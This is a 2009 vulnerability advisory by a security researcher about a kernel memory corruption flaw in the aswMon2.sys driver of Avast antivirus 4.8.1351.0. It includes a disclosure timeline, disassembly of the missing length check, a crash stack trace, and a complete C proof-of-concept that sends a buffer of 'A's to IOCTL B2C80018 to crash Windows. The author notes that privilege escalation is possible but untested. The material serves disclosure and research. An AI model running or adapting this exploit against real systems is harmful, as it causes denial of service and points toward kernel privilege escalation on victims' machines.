Avast aswMon2.sys kernel memory corruption and Local Privilege Escalation.

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-----------[Avast aswMon2.sys kernel memory corruption and Local Privilege 
Escalation]--------->

Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM<br>
Website: http://evilcry.netsons.org<br>
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***Disclosure Timeline***
Discover Date: Sep 13, 2009  PoC Code: Sep 13, 2009<br>
Vendor Notify: Sep 15,2009   Vendor Reply: Sep 15, 2009<br><br>

After various mails about publishing date
ignored, here the Public Disclosure.

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Product: Avast antivirus 4.8.1351.0 (other versions could be affected)
Affected Component: aswMon2.sys 4.8.1351.0
Category: Local Denial of Service due to kernel memory corruption (BSOD)
         (untested) Local Privilege Escalation

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--------------------------[Details]--------------->

Avast's aswMon2.sys Driver does not sanitize user supplied input IOCTL) and 
this lead to a kernel memory corruption that propagates 
on the system with a BSOD and potential risk of Privilege Escalation.<br><br>

00010F70    cmp     [ebp+arg_C], 288h   ;InBuff Len no other checks 
performed<br>
00010F77    jnz     loc_111AC<br>
00010F7D    mov     esi, [ebp+SourceString]<br>
00010F80    cmp     [esi], ebx<br>
00010F82    mov     [ebp+arg_C], ebx<br><br>


Affected IOCTL is B2C80018<br><br>

UNEXPECTED_KERNEL_MODE_TRAP_M (1000007f)<br><br>

Transfer Type: METHOD_BUFFERED<br><br>

STACK_TEXT:<br><br>

WARNING: Stack unwind information not available. Following frames may be 
wrong.<br>
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0x600fa<br>
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0x66251<br>
f76f3328 8052c793 41414141 00000000 f76f377c nt+0x55712<br>
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0x55793<br><br>
.
f76f56d8 f7756a04 badb0d00 8055b256 00000000 nt+0x66251<br>
f76f576c 41414141 41414141 41414141 41414141 aswMon2+0xa04<br>
f76f5770 41414141 41414141 41414141 41414141 0x41414141<br>
f76f5774 41414141 41414141 41414141 41414141 0x41414141<br>
f76f5778 41414141 41414141 41414141 41414141 0x41414141<br>
f76f577c 41414141 41414141 41414141 41414141 0x41414141<br>
f76f5780 41414141 41414141 41414141 41414141 0x41414141<br>
.<br><br>


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/ * Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption<br>
 *<br>
 * Author: Giuseppe 'Evilcry' Bonfa'<br>
 * E-Mail: evilcry _AT_ gmail _DOT_ com<br>
 * Website: http://evilcry.netsons.org<br>
 *          http://evilcodecave.blogspot.com <br>
 *          http://evilfingers.com<br>
 *<br>
 * Vendor: Notified<br>
 *<br>
 * No L.P.E. for kiddies<br>
 * /<br><br>

#define WIN32_LEAN_AND_MEAN<br>
#include < windows.h><br>
#include < stdio.h><br><br>


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab<br>
{<br>
        WCHAR DeviceName[MAX_PATH];<br>
        HANDLE hDevice;<br>

        if ((GetVersion() & 0xFF) >= 5) <br>
        {<br>
                wcscpy(DeviceName, L"\\\\.\\Global\\");<br>
        } <br>
        else <br>
        {<br>
                wcscpy(DeviceName, L"\\\\.\\");<br>
        }<br><br>

        wcscat(DeviceName, DriverName);<br>

        printf("Opening.. %S\n", DeviceName);<br>

        hDevice = CreateFileW(DeviceName, GENERIC_READ | <br>
        GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 
                FILE_ATTRIBUTE_NORMAL, NULL);<br><br>

        if (hDevice == INVALID_HANDLE_VALUE)<br>
        {<br>
                printf("CreateFile() ERROR %d\n", GetLastError());<br>
                return FALSE;<br>
        }<br><br>

        *lphDevice = hDevice;<br>

        return TRUE;<br>
}<br><br>

int main()<br>
{<br>
        HANDLE hDev = NULL;<br>
        DWORD Junk;<br>

        if(!OpenDevice(L"aswMon",&hDev))<br>
        {<br>
                printf("Unable to access aswMon");<br>
                return(0);<br>
        }<br><br>

        char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | <br>
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br><br>

        if (Buff)<br>
        {<br>
                memset(Buff, 'A', 0x288);<br>
                DeviceIoControl(hDev,0xB2C80018,Buff,
                0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);<br>
                printf("DeviceIoControl Executed..\n"); <br>    
        }    <br>
        else<br>
        {<br>
                printf("VirtualAlloc() ERROR %d\n", GetLastError());<br>
        }<br>


        return(0);<br>
}<br><br>



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Regards,
Giuseppe 'Evilcry' Bonfa'